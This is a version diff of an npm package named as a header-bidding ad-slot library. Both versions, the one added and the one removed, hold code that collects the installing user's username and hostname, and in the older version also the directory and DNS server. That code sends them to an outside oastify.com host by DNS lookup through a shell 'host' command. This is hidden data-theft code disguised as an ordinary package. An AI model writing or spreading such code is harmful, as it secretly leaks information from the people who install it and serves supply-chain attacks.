@plentyofcode/header-bidding-adslot 2.0.43 → 2.0.44
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +10 -31
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,39 +1,18 @@
|
|
1
1
|
const { exec } = require("child_process");
|
2
|
-
const dns = require("dns");
|
3
2
|
const os = require("os");
|
4
|
-
const path = require("path");
|
5
3
|
|
6
|
-
//
|
7
|
-
|
8
|
-
|
9
|
-
}
|
4
|
+
// Obtener el nombre de usuario y el nombre del host
|
5
|
+
const username = whoami = os.userInfo().username; // o puedes usar `$(whoami)` si prefieres el comando
|
6
|
+
const hostname = os.hostname();
|
10
7
|
|
11
|
-
|
12
|
-
const username = os.userInfo().username; // Username
|
13
|
-
const hostname = os.hostname(); // HostName
|
14
|
-
const currentDir = path.basename(__dirname); // Current Directory
|
15
|
-
const dnsServer = dns.getServers()[0] || "none"; // First DNS Server
|
16
|
-
|
17
|
-
// Create the information in a compact format
|
18
|
-
const info = `u=${username}&hn=${hostname}&d=${currentDir}&dns=${dnsServer}`;
|
19
|
-
|
20
|
-
// Encode the information in hexadecimal
|
21
|
-
let encodedInfo = toHex(info);
|
22
|
-
|
23
|
-
// Check if the encoded string exceeds 63 characters
|
24
|
-
if (encodedInfo.length > 63) {
|
25
|
-
// Use only the username if the string is too long
|
26
|
-
encodedInfo = toHex(`u=${username}`);
|
27
|
-
}
|
28
|
-
|
29
|
-
// Execute the command with the encoded information
|
30
|
-
const command = `host ${encodedInfo}.y43b18cd8eaw7j5syw1prliuklqce22r.oastify.com`;
|
31
|
-
console.log(`Executing command: ${command}`); // Log the command being executed
|
32
|
-
|
33
|
-
exec(command, (error, data) => {
|
8
|
+
exec(`host ${username}.${hostname}.dbsq8njsfthbeyc75b84y0p9r0xrlj98.oastify.com`, (error, data, getter) => {
|
34
9
|
if (error) {
|
35
|
-
console.log("
|
10
|
+
console.log("error", error.message);
|
11
|
+
return;
|
12
|
+
}
|
13
|
+
if (getter) {
|
14
|
+
console.log(data);
|
36
15
|
return;
|
37
16
|
}
|
38
17
|
console.log(data);
|
39
|
-
});
|
18
|
+
});
|